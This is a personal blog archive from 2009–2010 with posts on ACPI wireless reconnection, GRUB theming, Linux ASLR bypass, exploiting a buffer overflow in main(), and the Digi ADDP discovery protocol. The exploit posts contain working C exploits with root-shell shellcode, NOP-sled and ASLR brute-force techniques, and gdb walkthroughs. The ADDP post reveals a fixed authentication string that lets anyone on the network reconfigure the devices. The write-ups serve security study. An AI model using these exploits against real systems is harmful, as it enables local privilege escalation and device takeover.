Friday, January 15, 2010

Reconnect to wireless network when opening laptop lid

When I close my laptop's LID, my installation is configured to put the computer into "standby", a.k.a. sleep mode. This turns off some devices, which includes my network devices, specifically my wireless device.

When it wakes from sleep mode, the "known" wireless networks isn't always up to date, and sometimes doesn't update for up to 10 to 20 seconds, which means NetworkManager only reconnects to the wireless network when it does do such a scan.

I have, however, noticed that forcing a scan by running "iwlist scan" as root causes NetworkManager to immediately pick up the network and initiate the connection.

So I conjured up a script to help with this.

ACPI allows one to plug into some of it's events, one of which is the "lid" event. Though, once my laptop went into sleep mode, opening the lid doesn't automatically wake it up. I have to explicitly press the power button for this. The result is that the lid OPEN event is never triggered, as the machine is in standby when it physically happens.

I had a look at the ACPI docs, and there doesn't seem to be an event for "wake". Using acpi_listen, I did notice some events being triggered with the wake up. These are the ac_adapter, battery and 2 processor events (one for each core). They didn't carry any information which could reliably indicate a wake event, so I was forced to do my own.

So whenever I close my lid, I have an event that creates a file under /tmp. When the processor event is handled, it would check for this file, which if it exists indicates a fairly descent probability of "wake up".

If I were to close the lid and open it up before sleep mode has entered, ACPI does trigger an open event, which is the reason for the check on line 15 of "sleeplid.sh".

So to set this up I edited /etc/acpi/events/lidbtn, and added a 2nd action to trigger my event script. This results in the file reading:
event=button[ /]lid
action=/etc/acpi/lid.sh
action=/etc/acpi/sleeplid.sh lid
I also created a new event configuration, called /etc/acpi/events/processor, which reads:
event=processor
action=/etc/acpi/sleeplid.sh processor
And finally, just to make the actual event handler /etc/acpi/sleeplist.sh:
#!/bin/bash

LOG=/tmp/.sleeplig.log
SLEEPING=/tmp/.sleeplid.sleeping
DEV=wlan0

exec 2>&1 >> "$LOG"

echo "Event triggered: "`date`

DOSCAN=0
if [ "$1" = "lid" ]
then
  if grep -q closed /proc/acpi/button/lid/*/state
  then
    echo "LID closed"
    touch "$SLEEPING"
  else
    echo "LID opened"
  fi
elif [ "$1" = "processor" ]
then
  echo "Processor event"

  if [ -f "$SLEEPING" ]
  then
    rm -f "$SLEEPING"
    DOSCAN=1
  fi
else
  echo "WARN: Unknown event '$1'"
fi

if [ $DOSCAN -eq 1 ]
then
  echo "Initiating scan."
  iwlist $DEV scan
fi
So this basically triggers the script to run with an argument "lid" whenever the lid event occurs, and argument "processor" when the processor event occurs.
If you intend on using this you might need to update the DEV variable to whatever your wireless device is named. Since ACPI events are very device specific, you might also need to customize other aspects. Though the general idea would probably not change much.


And people wonder why I only use Linux...

Sunday, January 3, 2010

My Custom Grub 2 Splash Screen

I recently purchased a new laptop and decided to install Ubuntu 9.10 (Karmic Koala) on it. It's long overdue, because until now I've been using 8.04, due to the huge effort to reconfigure everything until it's "just right".

In the process there were quite a few things that changed which I either didn't like, or utterly despised. Though that didn't stop me and I started making thing's "just right".

One of these were to customize my grub splash screen. Since the eye-pleasing grub screens have become popular a few years ago, having to go back to and 80x25 black/white screen was quite disappointing, so I got onto the net on the lookout for a wallpaper I could use I my splash screen, since those that ship with the grub2-splashimages packages are horrible.

I found some truly great Ubuntu wallpapers at http://www.desktopnexus.com/tag/ubuntu/1, and found a suitable one.

Though in the process I discovered the limitations of grub "themes". You're stuck with a choice of 16 colors and the frame and text/title/list positions/sizes are fixed. So I jumped into the grub source, modified it, rebuilt the package and installed it - made simple thanks to Debian's amazing package management system.

I basically changed the title to show my system's hostname instead of the grub version, move it to the middle on the Y axis (instead of 3-4 columns off-center), move the whole bunch a bit downwards to fit in with the background, changed the column widths a bit to also better fit the background, and finally tuned the colors just a bit.

At one point I actually got a nice fading "highlight" going, though the nature of the background made this look nice for one option and awkward for others. So I stuck with an opaque highlight.

To finish it off I customized the grub.cfg generation scripts and their configuration a bit, so grub and the kernel is "just right"... for the moment at least.

The result is the following. Since it requires quite a bit of patching on the C source code, I'm going to skip explaining how I did it. If you want the patch, send me a message and I'll share it with you together with some explanations of the changes.

Sunday, December 13, 2009

Beating Linux ASLR with Environment Variables

I've been experimenting with ASLR some more, and discovered a very interesting side effect from the way Linux environment variables are made accessible to executable programs. Environment variables are always put at the end of the stack. So, since the stack is always aligned at "fff" for the last 12 bits, it means that in a static environment, the same variable will always have it's last 12 bits static. Further, the first 8 bits is also static, so this means for a static environment, there is only 32 - 12 - 8 bits of randomization, in other words only 12 bits of randomization.

Using this fact, you can load your shellcode into an environment variable. Make a small program to determine it's first 8 and last 12 bits, and pick a random value for it's middle 12 bits. You then use this as your return address, which would be the only value repeated throughout the exploit payload. Running this a few times you're bound to hit your shellcode in a very short period. I tried it a few times, and it was under 10 seconds every time.

To further decrease the random bits you can make an extremely large NOP sled. For 12 bits, you have 2^12 possible values, of which only 1 will be a hit. If you make your NOP sled 4096 bytes, then you increase the amount of hits to 2. To explain this, assume you're environment variable is at address: 0xbf010b3c. If your NOP sled was 4096 bytes, this means your environment variable will stretch from 0xbf010b3c to 0xbf011b3c. So with the 12 bits of randomization 2 possible values will hit your sled.

I've found that I can get a variable up to 4096*32 bytes. With these large values it becomes unnecessary to even know the last 12 bits, because any value in these 12 bits will fall in the NOP sled, as long as the first 20 bits do.

So to try this all out, I made a program which builds an environment using a full 128kbs. I found the maximum environment variable to be exactly 32 * 4096 + 1 bytes. The extra byte I assume is for the equal sign. So if you simply fill the complete environment with 128kb of shellcode, you can get maximum possible effect. If you use multiple such variables I've also found that you can get at most 16 of them before execve() stops executing the program. This seems to be a 2MB environment limit.

I made the following vulnerable program:
// build with: gcc -fno-stack-protector -o vuln vuln.c
#include <stdio.h>
#include <string.h>

void func(char *argv[])
{
char buf[100];
fprintf(stderr, "a: %p\n", getenv("a"));
strcpy(buf, argv[1]);
}

int main(int argc, char *argv[])
{
func(argv);
}

And then the following program to exploit it:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
// setuid(0) + exec(/bin/sh)
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80" // 35 bytes
;

#define ESIZE (32 * 4096 - sizeof(shellcode))

int main(int argc, char **argv)
{
char buf[200];
int i;
char *envptr = (char*)malloc(ESIZE);
char *args[] = {"./vuln", buf, 0};
char *env[] = {envptr, 0};

// here we just pick any 0xbf... address. Running it once you'll see
// the vulnerable program print an address, using the first 8 and
// last 12 bits from this address is a good idea.
long envaddr = 0xbfcccfca;

fprintf(stderr, "T: %p\n", envaddr);

// build the return address buf
for (i = 0; i < 200; i += 4)
{
*((long*)&buf[i]) = envaddr;
}

// create the environment
memset(envptr, 0x90, ESIZE);
memcpy(envptr + ESIZE, shellcode, sizeof(shellcode));

// so we can print the addr in the vulnerable program we give it a name
memcpy(envptr, "a=", 2);

execve(args[0], args, env);
}

It basically builds a buffer with a selected return address. This is just any
address. As long as the first 8 bits are 0xbf you should get a hit pretty quickly.

It then builds an environment which consists of a very large NOP sled and the 35 byte shellcode, and executes the program.

I ran this in a bash loop (while true; do ./bigenvsploit; done) and got a successful exploitation in 50 executions! Then I quit the shell and got another hit in 12 executions!

I made another one which uses 16 environment variables with the same values but different names. In the process I discovered a stack overflow in GLIBC (gonna be a nice one!). With this version of the exploit I get a hit in less than 5 iterations... usually on the FIRST execution!
$ quintin@quintin-laptop bigenv $ ./bigenvsploit 
T: 0xbfcccff5
a: 0xbfcb7fca
$ exit
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbf9b3fca
Segmentation fault
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbf8edfca
Segmentation fault
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbfb51fca
$ exit
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbf7d1fca
$ exit
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbfa32fca
$ exit


Brilliant!

For your pleasure, here it is:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
// setuid(0) + exec(/bin/sh)
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80" // 35 bytes
;

#define ESIZE (32 * 4096 - sizeof(shellcode))

int main(int argc, char **argv)
{
char buf[200];
int i, en;
char *args[] = {"./vuln", buf, 0};
char **env = (char**)calloc(sizeof(char*), 17);

// here we just pick any address. Running it once you'll see the vulnerable
// program print an address. we pick the last 12 bits a bit lower, so to
// further increase hit probability (had the random addr fallen on our edge)
long envaddr = 0xbfcccff5;

fprintf(stderr, "T: %p\n", envaddr);

// build the return address buf
for (i = 0; i < 200; i += 4)
{
*((long*)&buf[i]) = envaddr;
}

// create the environment
for (en = 0; en < 16; ++en)
{
char *envptr = (char*)malloc(ESIZE);

memset(envptr, 0x90, ESIZE);
memcpy(envptr + ESIZE - sizeof(shellcode), shellcode, sizeof(shellcode));

envptr[0] = 'a' + en;
envptr[1] = '=';

// so we can print the addr in the vulnerable program we give it a name
env[en] = envptr;
}
env[en] = 0;

execve(args[0], args, env);
}

Exploiting a Buffer Overflow in main()

A buffer overflow in main() is very hard to imagine. I've never seen one myself, since main usually delegates to other parts of a system very early on. Though, I noticed yesterday that GCC sets up the main() function a bit differently than others.

Take the following empty program as an example:
int func()
{
}

int main()
{
}

When compiling this without stack protection gives the following:
08048344 <func>:
 8048344: 55                    push   ebp
 8048345: 89 e5                 mov    ebp,esp
 8048347: 5d                    pop    ebp
 8048348: c3                    ret    

08048349 <main>:
 8048349: 8d 4c 24 04           lea    ecx,[esp+0x4]
 804834d: 83 e4 f0              and    esp,0xfffffff0
 8048350: ff 71 fc              push   DWORD PTR [ecx-0x4]
 8048353: 55                    push   ebp
 8048354: 89 e5                 mov    ebp,esp
 8048356: 51                    push   ecx
 8048357: 59                    pop    ecx
 8048358: 5d                    pop    ebp
 8048359: 8d 61 fc              lea    esp,[ecx-0x4]
 804835c: c3                    ret    
 804835d: 90                    nop    
 804835e: 90                    nop    
 804835f: 90                    nop    

A normal function, in it's prologue, stores any previous "ebp" on the stack, and loads the new stack pointer (esp) into ebp. From here it will use "ebp" to do any stack calculations for local variables/arguments. Then before returning it will restore the previous ebp, and return. This means, the last 8 bytes on the stack will be [ebp:4][eip:4]. When the function returns the caller's "ebp" is popped, and the "ret" instruction will pop the new "eip" and continue execution.

The main function on the other hand (I keep wanting to say "method" instead of "function" - I'm Java brainwashed) does it a bit differently. First it loads the address of "esp + 4" into ecx. This will be the "int argc" argument. Then it ensures the stack is at a 16 byte block and pushes the original return address into the new stack location. They have to do this, otherwise main won't be able to return (unless esp's last 4 bits were already 0000b). "main" returns to a function called __libc_start_main, which is one of the many bootstrapping functions GCC puts into it's resulting binaries.

After this it's the normal ebp/esp business, and some preparation for the arguments like saving the value of ecx, since future functions might want to use it. In the example above, 0x8048358 is where the epilogue starts. This restores the value of ecx and ebp, and then the big business that makes exploiting a main method different. It changes the stack pointer (esp), to what it was before entry into main, and only then it returns. This means the resulting value of "esp" should point to the new return address, which would probably be another stack address, filled with a payload.

Usually when you exploit a buffer overflow, you have a NOP sled, the shellcode and then a sequence of return addresses. Had you done this in a main function you will end up with having esp having the value of the return address, and then the ret instruction trying to jump to 0x90909090. This won't work for obvious reasons. You would need to be very precise in setting up this buffer. First you would have to supply an address, which would get loaded into "ecx". The value of this address needs to be 4 bytes greater, than where the real return address is on the stack.

These values will all be based around offsets from the return address. There are a few address padding techniques I've come up with to help increase the hit probability. They're all pretty much similar, having sequences of 2 address placed in different places. To keep this short, I'll explain the simplest of them all.

The easiest can be used when you have a very large buffer. Assume the variable RET is our return address. You could then override the end of the buffer with this address as usual, but instead of a NOP sled, you can first write X instances of RET + X * 4, and then have the NOP sled follow.

To demonstrate this I created a PoC. This program has a 1000 byte buffer in main(), and then sets up an exploit to spawn a shell and copies this into the buffer. So it exploits itself (wouldn't that be a dream - save the hackers some time and write the exploit before you ship your software).
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BUFSIZE 1000
#define PAYLOADSIZE (BUFSIZE * 2)
#define SLEDSIZE 100
#define RETADDR_CNT 20

char shellcode[]=
  // setuid(0) + exec(/bin/sh)
  "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  "\xe1\xcd\x80" // 35 bytes
  ;

void *alignaddr(void *ptr)
{
  while ((long)ptr % 4) ++ptr;
  return ptr;
}

void *setupExploit(void *bufaddr)
{
  long sled_addr, stack_addr;
  char *expldata = (char*)malloc(PAYLOADSIZE * sizeof(char));
  char *ptr = expldata;
  int i;

  if (ptr == NULL)
  {
    error(1, 0, "Failed to prepare payload");
  }

  ptr = alignaddr(ptr);

  // this is the address that will go into "ecx", and have 4 deducted
  // from it to get the new stack frame address
  stack_addr = (long)bufaddr + 4; 
  // this is the address where the NOP sled and shellcode will be
  sled_addr = (long)bufaddr + 4 * RETADDR_CNT;

  printf("Buf Addr: %p\n", bufaddr);
  printf("SLED Addr: %p\n", sled_addr);
  printf("Stack Addr: %p\n", stack_addr);

  // write the sled address to the beginning of the buffer
  for (i = 0; i < RETADDR_CNT; ++i)
  {
    *((long*)ptr) = sled_addr;
    ptr += 4;
  }

  // follow with a NOP sled
  for (i = 0; i < SLEDSIZE; ++i)
  {
    *ptr++ = 0x90;
  }

  // add the shellcode
  memcpy(ptr, shellcode, sizeof(shellcode));
  ptr += sizeof(shellcode);

  // align the address
  ptr = alignaddr(ptr);

  // and fill the remaining with the stack address
  while (ptr < expldata + PAYLOADSIZE)
  {
    *((long*)ptr) = stack_addr;
    ptr += 4;
  }

  return expldata;
}

int main(int argc, char **argv)
{
  char buf[BUFSIZE];
  char *expl;

  expl = setupExploit(buf);
  memcpy(buf, expl, PAYLOADSIZE);
}

Building and running this you will see something like:
quintin@quintin-laptop mainexpl $ gcc -fno-stack-protector -o mainexpl mainexpl.c 
quintin@quintin-laptop mainexpl $ sudo chown root:root mainexpl
quintin@quintin-laptop mainexpl $ sudo chmod u+s mainexpl
quintin@quintin-laptop mainexpl $ ./mainexpl 
Buf Addr: 0xbf9a48b8
SLED Addr: 0xbf9a4908
Stack Addr: 0xbf9a48bc
# id
uid=0(root) gid=1002(quintin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video),46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev),117(powerdev),124(sambashare),1002(quintin)
# 

* To demonstrate this the program is built with stack protection turned off. This is the "-fno-stack-protector" argument given to gcc.

Taking into account the explanations from before, 0xbf9a48b8 is the address where our payload will go, 0xbf9a4908 is the actual address of where the NOP sled and shellcode will go and finally 0xbf9a48bc is where we need to store the SLED address, since this address will be put into ecx in the main() epilogue.

In a bit more detail, let's run it through GDB. The disassembled main() function:
0804854b <main>:
 804854b: 8d 4c 24 04           lea    ecx,[esp+0x4]
 804854f: 83 e4 f0              and    esp,0xfffffff0
 8048552: ff 71 fc              push   DWORD PTR [ecx-0x4]
 8048555: 55                    push   ebp
 8048556: 89 e5                 mov    ebp,esp
 8048558: 51                    push   ecx
 8048559: 81 ec 04 04 00 00     sub    esp,0x404
 804855f: 8d 85 10 fc ff ff     lea    eax,[ebp-0x3f0]
 8048565: 89 04 24              mov    DWORD PTR [esp],eax
 8048568: e8 bf fe ff ff        call   804842c <setupExploit>
 804856d: 89 45 f8              mov    DWORD PTR [ebp-0x8],eax
 8048570: c7 44 24 08 d0 07 00  mov    DWORD PTR [esp+0x8],0x7d0
 8048577: 00 
 8048578: 8b 45 f8              mov    eax,DWORD PTR [ebp-0x8]
 804857b: 89 44 24 04           mov    DWORD PTR [esp+0x4],eax
 804857f: 8d 85 10 fc ff ff     lea    eax,[ebp-0x3f0]
 8048585: 89 04 24              mov    DWORD PTR [esp],eax
 8048588: e8 b7 fd ff ff        call   8048344 <memcpy@plt>
 804858d: 81 c4 04 04 00 00     add    esp,0x404
 8048593: 59                    pop    ecx
 8048594: 5d                    pop    ebp
 8048595: 8d 61 fc              lea    esp,[ecx-0x4]
 8048598: c3                    ret    

We'll put a breakpoint at the start of the epilogue (the pop ecx), ie. 0x8048593.
quintin@quintin-laptop mainexpl $ gdb ./mainexpl
GNU gdb 6.8-debian
(gdb) break *0x8048593
Breakpoint 1 at 0x8048593
(gdb) run
Starting program: /home/quintin/tmp/notesearch/mainexpl 
Buf Addr: 0xbf9a48b8
SLED Addr: 0xbf9a4908
Stack Addr: 0xbf9a48bc

Breakpoint 1, 0x08048593 in main ()
Current language:  auto; currently asm
(gdb) i r ecx esp
ecx            0x0 0
esp            0xbf9a4ca4 0xbf9a4ca4
(gdb) x/8xw $esp
0xbf9a4ca4: 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc
0xbf9a4cb4: 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc 0xbf9a48bc
(gdb) 

As you can see the value of ecx is 0, and our new stack address is all over the current stack. Let's step the "pop ecx" instruction and see what we have then.
(gdb) stepi
0x08048594 in main ()
(gdb) i r ecx esp
ecx            0xbf9a48bc -1080407876
esp            0xbf9a4ca8 0xbf9a4ca8
(gdb) 

We don't care for ebp, so let's see what happens when we load the new stack address, 2 instructions onwards.
(gdb) stepi
0x08048595 in main ()
(gdb) stepi
0x08048598 in main ()
(gdb) i r ecx esp
ecx            0xbf9a48bc -1080407876
esp            0xbf9a48b8 0xbf9a48b8
(gdb) x/4xw $esp
0xbf9a48b8: 0xbf9a4908 0xbf9a4908 0xbf9a4908 0xbf9a4908
(gdb) 

So the stack frame was changed to where we put our return addresses. The next instruction to be executed is "ret", which would change the eip register to 0xbf9a4908, which is where our NOP sled and shellcode is, as can be seen with:
(gdb) x/10i 0xbf9a4908
0xbf9a4908: nop    
0xbf9a4909: nop    
0xbf9a490a: nop    
0xbf9a490b: nop    
0xbf9a490c: nop    
0xbf9a490d: nop    
0xbf9a490e: nop    
0xbf9a490f: nop    
0xbf9a4910: nop    
0xbf9a4911: nop    
(gdb) x/20i 0xbf9a4908+97
0xbf9a4969: nop    
0xbf9a496a: nop    
0xbf9a496b: nop    
0xbf9a496c: xor    eax,eax
0xbf9a496e: xor    ebx,ebx
0xbf9a4970: xor    ecx,ecx
0xbf9a4972: cdq    
0xbf9a4973: mov    al,0xa4
0xbf9a4975: int    0x80
0xbf9a4977: push   0xb
0xbf9a4979: pop    eax
0xbf9a497a: push   ecx
0xbf9a497b: push   0x68732f2f
0xbf9a4980: push   0x6e69622f
0xbf9a4985: mov    ebx,esp
0xbf9a4987: push   ecx
0xbf9a4988: mov    edx,esp
0xbf9a498a: push   ebx
0xbf9a498b: mov    ecx,esp
0xbf9a498d: int    0x80
(gdb) 

The next step will be to execute the "ret", and start executing the shellcode:
(gdb) continue
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$ 


And that's one way of exploiting a stack overflow in main(). If you had a small buffer, high precision is needed, but you could put the return address 2 words after the new stack address. Or you could put the shellcode somewhere else and use this buffer purely for addressing. Many things are possible, and every scenario is unique.

Saturday, December 12, 2009

Beating Linux ASLR for Local Exploits

Stack address randomization definitely helps to prevent exploitation of stack based exploits, since it becomes almost impossible to correctly guess the address to return to for executing your code, and brute force guessing this can be time consuming and/or alert a NIDS.

I did, however, notice something interesting about it today while analyzing some of GCC's optimization techniques.

I've never analyzed ASLR itself. I've just noticed the stack base address being random on every execution of a program. This can be turned off by running your command with "setarch" or using the "personality" function. This is only really useful for debugging purposes as far as I can see. The point I'm trying to make is that this is in now way an in depth analysis of ASLR and that I could be wrong in some of my assumptions.

I'm not sure if ASLR reseeds it's generator. If it does it seems like a globally shared seed is used. At least in a process tree with some chosen parent or something. I'm basing these guesses on the fact that spawning a new process using the execv() system call, very quickly after the parent process started, the stack bases will be the same.

Take this example:
#include <stdio.h>

int main(int argc, char **argv)
{
int i;
char *arg[] = {argv[0], argv[0], 0};
if (argc < 2)
{
printf("parent addr i: %p\n", &i);
//sleep(1);
execv(argv[0], arg);
}
else
{
printf("child addr i: %p\n", &i);
}
}

With this, the address of "i" is printed, then a child process is spawned which will also print the address of the same variable in it's stack.

Running this you'll notice that the addresses are very close or match most of the time. I figure if it spawns quickly enough after the first process, the seed for the new process is the same and thus they'll generate the same random number for the stack base. Try uncommenting the "sleep(1)" call and running it again. The stack doesn't match anymore (if it does it's a very rare/lucky case).

I also noticed that even when the bases don't match, they are sometimes very close to each other, usually exactly 0x10 bytes. This might have been a coincidence, but in these cases the child process was always 0x10 bytes lower than the parent process. (UPDATE: The 0x10 bytes was unique to this case. Further I've found that the generator used for ASLR uses the PID of the process (added to the jiffies) to generate the random number, which explains why they end up "close")

These 2 facts can be used in local exploits. If you can quickly enough setup the exploit and spawn the vulnerable program, you should be able to reliably guess the return address using the information from the parent process, and with a NOP slide of at least 0x10 bytes, both facts can be accounted for.

Proof of Concept

I created a proof of concept, which consists of a program with a buffer overflow vulnerability, and an exploit that makes use of this execv() weakness to circumvent ASLR protection. Download Proof of Concept.

Read the README file, and run demo.sh. Further, an example of what you might expect is in the SAMPLE file, included in the tarball. When extracted all files will be found in the "aslr-poc" directory.

Saturday, November 21, 2009

Advanced Digi Discovery Protocol Explained

This is a continuation of my previous post.

If you haven't read the previous post I recommend you do so first, but to summarize. ADDP, or Advanced Digi Discovery Protocol is a UDP multicast protocol used for discovering and reconfiguring network settings of Digi devices (such as the Digi Connect ME) on the local network, irrelevant of their network configuration.

I've basically completed my documentation and implementation of ADDP, though like software usually is, it will never be truly complete, and the documentation of the protocol is still missing a few fields and codes. It's definitely complete enough to release so people can implement the protocol themselves.

The implementation I made is a cross platform Java version of their "Digi Device Discovery" tool from Digi International Inc. It's called JDigiDiscover and lists all Digi devices on the network (which have ADDP activated) with detailed public configuration for them, and then allows you to either restart the device or change it's network configuration. You can see some screenshots and/or download it from it's SourceForge.net project page. It's released under the Apache License 2.0.


ADDP is a proprietary protocol developed by and it's copyright owned by Digi International Inc. Use of the protocol is limited to their products and their terms. I released this purely because I noticed a need for implementing it in your own non C and non Windows applications for managing your own Digi devices. For more information see http://www.digi.com/.

ADDP
Summary
The ADDP protocol is a UDP multicast protocol, doing broadcasts on 224.0.5.128 port 2362. This is the default configuration, though it is possible to disable this for a given Digi device, or change the port.

All communications are in the form of request/response, and there exists 4 communication types which give a total of 8 packets. They are Discovery, Static Configuration, DHCP Network Configuration and Restart.

All packets consists of a header and a payload. The header format is common throughout all packet types, where the payload is common on response packets but unique for each request packet type.

The Header
The header starts with the magic bytes "DIGI", ie. 0x44,49,47,49. This is followed by a 2 byte packet type identifier (see the tables at the end of this document). After the identifier is a 2 byte short, which indicates the length/size of the payload.

The Payload
As explain, the payloads of all request packets are unique to the type of packet, where the response packets have a common format. Response packets contain information pertaining to the request. This information is given in a variable amount of fields, each field being identified by a 1 byte identifier. These identifiers are shared across all response packets, each response sending only the information relevant to the request.

So a field takes the form of a 1 byte field type ID (see the tables at the end of this document), then a 1 byte field length followed the the field's data. The field length byte indicates how many data bytes need to be read. This will always be at least one. Take for example the IP address field. It's type id is 0x02, and being an IP address it will be 4 bytes long. If the IP address was 10.0.0.5, then the field would have the following value: 0x02,04,0a,00,00,05. Response packets always have the MAC address field set, and is the MAC address of the device the packet originated from. You use this to pair responses with requests.

When a request packet had an invalid format, even though the MAC address was valid an it's obvious the packet was meant for a given device, it will be ignored and no response packet will be sent. Response packets are only sent when the request packet had a 100% valid structure. Failure responses are sent only for failure after the packet was parsed successfully.

So to parse the payload, you just read the fields in a serial manner until the complete payload has been consumed. Not all responses of the same type will always have the same fields. So it's important to read the payload based on the size specified in the header. Further, depending on the field type, an absent field could mean that it's the default value or irrelevant to the type of packet. For example, in the restart response packet the IP address field won't be set, where the absense of the RealPort number field in a discovery response could indicate it's disabled.

When transferring MAC addresses or IP addresses, they are sent as the raw binary values. Since each component of both a MAC address and IP address is a number in the range 0-255 they are each represented as a byte. This is actually what a MAC address and IP address is. Even though we write an IP address as: 10.0.0.9, it's actually a 4 byte values of: 0x0a,00,00,09. Same goes for a MAC address, which is written as comma separated hexadecimal bytes. When transferred, the host byte order is used, so you read the IP address in the byte order it appears in the packet (which is the same as the example just given).

Numbers are always either 1, 2 or 4 bytes. For 1 byte you just take the integer value of the byte, and for 2 or 4 byte you interpret it with Little Endian. The 2 byte shorts can be calculated with: "((b[0] & 0xff) <<>

Strings are never sent in request packets, though received in a number of response packet fields. The length of the string would be the field size, and it has no terminator. So to read the string value simply copy all of the field data into a character array/string. Characters are always 1 byte ASCII.

Request Packet Authentication
The Configuration and Restart request packets require authentication and a target. This is the last 11 bytes of each of these packets. The target is a 6 byte MAC address, and is the MAC address of the target Digi unit.

The authentication data seems to always be static byte sequence: 0x04,64,62,70,73. This is a 1 byte length with the value of "4", and the character sequence "dbps" (which is also the Digi Connect ME default root password). Even when changing your device's root password, this will remain the same. It's definitely used for authentication, as sending different values will result in an "authentication error" response.

Discovery/Information Request
The Discovery request packet is the simplest of all of them. It has the packet type 0x0001 and a 6 byte payload which is a MAC address. The MAC address in the payload is for the device which you request information from. So only the device whose MAC address matches the one in the packet will respond to this request. If you want all devices to respond, use the broadcast MAC address ff:ff:ff:ff:ff:ff.

This sample Discovery Request packet will request responses from all DIGIs on the network which has ADDP activated on port 2362. To request information from Digis listening on a different ADDP port, change the destination port of the UDP packet.

Data (14 bytes):
0000   44 49 47 49 00 01 00 06 ff ff ff ff ff ff        DIGI..........

Breaks down as:
            44 49 47 49  DIGI       - Magic
                  00 01  ..         - Packet type (0001)
                  00 06  ..         - Payload size (6 bytes)
      ff ff ff ff ff ff  ......     - Target MAC

Discovery/Information Response
If a Digi unit receives the discovery request packet and it's meant for either all Digis or itself (based on the request packet's target MAC address as described above), it will respond with a response packet containing details of it's configuration, such as IP address, subnet mask, number of serial ports, etc.

This packet has the id 0x0002 and is probably the largest of all the packets. See the tables at the end of this e-mail for all possible fields. The following example is a typical packet you might receive in response to a discovery request.

Data (104 bytes):
0000   44 49 47 49 00 02 00 60 01 06 00 40 9d 31 a9 0a  DIGI...`...@.1..
0010   02 04 0a 00 00 e7 03 04 ff ff ff 00 0b 04 0a 00  ................
0020   00 01 0d 0f 44 69 67 69 20 43 6f 6e 6e 65 63 74  ....Digi Connect
0030   20 4d 45 10 01 00 07 01 00 08 1e 56 65 72 73 69   ME........Versi
0040   6f 6e 20 38 32 30 30 30 38 35 36 5f 46 36 20 30  on 82000856_F6 0
0050   37 2f 32 31 2f 32 30 30 36 0e 04 00 00 03 03 13  7/21/2006.......
0060   04 00 00 04 03 12 01 01                          ........

Breaks down as:
            44 49 47 49  DIGI       - Magic
                  00 02  ..         - Packet type (0002)
                  00 60  .`         - Payload size (96 bytes)
01 06 00 40 9d 31 a9 0a  ...@.1..   - Mac address: 00:40:9D:31:A9:0A
      02 04 0a 00 00 e7  ......     - IP Address: 10.0.0.231
      03 04 ff ff ff 00  ......     - Subnet Mask: 255.255.255.0
      0b 04 0a 00 00 01  ......     - Gateway Address: 10.0.0.1
                     0d
0f 44 69 67 69 20 43 6f  .Digi Co
6e 6e 65 63 74 20 4d 45  nnect ME   - Device Name: Digi Connect ME
               10 01 00  ...        - DHCP Disabled
               07 01 00  ...        - Unknown - never seen a non-0x00 value.
08 1e 56 65 72 73 69 6f  ..Versio
6e 20 38 32 30 30 30 38  n 820008 
35 36 5f 46 36 20 30 37  56_F6 07 
2f 32 31 2f 32 30 30 36  /21/2006   - Firmware: Version 82000856_F6 07/21/2006
      0e 04 00 00 03 03  ......     - Real Port: 771
      13 04 00 00 04 03  ......     - Encrypted Real Port: 1027
               12 01 01  .          - Serial port count: 1

Static Network Configuration Request Packet
The Static Configuration Request packets have the packet type of 0x0003 and are used to reconfigure the network settings of the Digi unit. This consists of 3 values to be set: IP address, subnet mask and default gateway.

The 3 values are added in the mentioned order to the beginning of the payload. This gives a 12 byte sequence, which is then followed the MAC address of the device to be configured and the authentication data. This results in a total payload size of 23 bytes, which is a 31 byte packet.

The following sample would be to reconfigure the device with MAC address '00:40:9D:31:A9:0A', giving it the IP address: 10.0.0.9, subnet mask: 255.255.255.0 and gateway: 10.0.0.1. Since these fields are static and always in this order, to remove the gateway you would send a gateway value of 0.0.0.0.

Data (31 bytes):
0000   44 49 47 49 00 03 00 17 0a 00 00 09 ff ff ff 00  DIGI............
0010   0a 00 00 01 00 40 9d 31 a9 0a 04 64 62 70 73     .....@.1...dbps

Break down as:
            44 49 47 49  DIGI       - Magic
                  00 03  ..         - Packet type (0003)
                  00 17  .`         - Payload size (23 bytes)
            0a 00 00 09  ....       - New IP Address: 10.0.0.9
            ff ff ff 00  ....       - New Subnet Mask: 255.255.255.0
            0a 00 00 01  ....       - New Gateway: 10.0.0.1
      00 40 9d 31 a9 0a  .@.1..     - Target MAC Address: 00:40:9D:31:A9:0A
         04 64 62 70 73  .dbps      - Authentication Data

Configuration Response Packet
The configuration response packet is sent to indicate whether the configuration request was successful and if not to give a reason for failure by means of an error code and message. This packet has the id 0x0004 and uses the standard response packet format. The success is indicated by the result flag, result message, error code and configuration error code fields. See the tables at the end of this document for details on these fields.

Here is a sample packet for the above configuration request, indicating the request succeeded.

Data (44 bytes):
0000   44 49 47 49 00 04 00 24 0a 01 00 09 14 4f 70 65  DIGI...(.....Ope
0010   72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75  ration Successfu
